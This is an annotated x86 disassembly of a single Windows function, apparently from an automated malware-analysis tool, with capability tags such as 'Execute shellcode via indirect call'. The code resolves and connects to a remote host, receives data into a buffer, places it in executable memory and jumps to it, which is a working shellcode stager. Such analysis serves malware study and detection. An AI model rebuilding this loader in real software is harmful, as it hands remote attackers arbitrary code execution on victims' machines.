Function at 0x100216e0
Capabilities:
Allocate or change rwx memory
Connect socket
Execute shellcode via indirect call
Initialize winsock library
Receive data
Receive data on socket
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1fc
mov dword [ebp - 0x10], 0
mov dword [ebp - 4], 0
lea eax, [ebp - 0x1fc]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
xor ecx, ecx
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x38], 2
mov dword [ebp - 0x34], 1
mov dword [ebp - 0x30], 6
push 0x10246510
lea edx, [ebp - 0x54]
push edx
call fcn.10021660
add esp, 8
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
push eax
mov ecx, 0x10246510
call fcn.10010060
lea ecx, [ebp - 0x54]
call fcn.10007640
nop
push 0x102464f8
lea ecx, [ebp - 0x6c]
push ecx
call fcn.10021660
add esp, 8
mov dword [ebp - 0x1c], eax
mov edx, dword [ebp - 0x1c]
push edx
mov ecx, 0x102464f8
call fcn.10010060
lea ecx, [ebp - 0x6c]
call fcn.10007640
nop
lea eax, [ebp - 0x10]
push eax
lea ecx, [ebp - 0x3c]
push ecx
mov ecx, 0x102464f8
call fcn.100075a0
push eax
mov ecx, 0x10246510
call fcn.100075a0
push eax
call dword [sym.imp.WS2_32.dll_getaddrinfo]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x100217d3
call dword [sym.imp.WS2_32.dll_WSACleanup]
push 0
call fcn.101a44e9
nop
mov eax, 1
jmp 0x10021999
mov edx, dword [ebp - 0x10]
mov dword [ebp - 4], edx
jmp 0x100217e4
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 0x1c]
mov dword [ebp - 4], ecx
cmp dword [ebp - 4], 0
je 0x10021875
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0xc]
push eax
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 8]
push edx
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 4]
push ecx
call dword [sym.imp.WS2_32.dll_socket]
mov dword [0x102464ec], eax
cmp dword [0x102464ec], 0xffffffff
jne 0x1002182f
call dword [sym.imp.WS2_32.dll_WSACleanup]
push 0
call fcn.101a44e9
nop
mov eax, 1
jmp 0x10021999
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x10]
push eax
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 0x18]
push edx
mov eax, dword [0x102464ec]
push eax
call dword [sym.imp.WS2_32.dll_connect]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
jne 0x1002186e
mov ecx, dword [0x102464ec]
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
mov dword [0x102464ec], 0xffffffff
jmp 0x100217db
jmp 0x10021875
mov edx, dword [ebp - 0x10]
push edx
call dword [sym.imp.WS2_32.dll_freeaddrinfo]
nop
cmp dword [0x102464ec], 0xffffffff
jne 0x100218a1
call dword [sym.imp.WS2_32.dll_WSACleanup]
push 0
call fcn.101a44e9
nop
mov eax, 1
jmp 0x10021999
mov dword [ebp - 8], 0
push 0
mov eax, dword [0x1023cb34]
sub eax, dword [0x102464e8]
push eax
mov ecx, dword [0x102466b4]
add ecx, dword [0x102464e8]
push ecx
mov edx, dword [0x102464ec]
push edx
call dword [sym.imp.WS2_32.dll_recv]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jle 0x1002191e
mov eax, dword [0x102464e8]
add eax, dword [ebp - 8]
mov dword [0x102464e8], eax
mov ecx, dword [0x102464e8]
cmp ecx, dword [0x1023cb34]
jne 0x1002191c
mov edx, dword [0x1023cb34]
shl edx, 1
mov dword [0x1023cb34], edx
mov eax, dword [0x1023cb34]
push eax
mov ecx, dword [0x102466b4]
push ecx
call fcn.101a4722
add esp, 8
mov dword [0x102466b4], eax
jmp 0x10021958
cmp dword [ebp - 8], 0
jne 0x10021928
jmp 0x10021962
mov edx, dword [0x102464ec]
push edx
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, dword [0x102466b4]
push eax
call fcn.1019f37f
add esp, 4
push 0
call fcn.101a44e9
nop
mov eax, 1
jmp 0x10021999
cmp dword [ebp - 8], 0
jg 0x100218a8
push 0x40
push 0x3000
mov ecx, dword [0x102464e8]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x14], eax
mov edx, dword [0x102464e8]
push edx
mov eax, dword [0x102466b4]
push eax
mov ecx, dword [ebp - 0x14]
push ecx
call fcn.101973c0
add esp, 0xc
call dword [ebp - 0x14]
xor eax, eax
mov esp, ebp
pop ebp
ret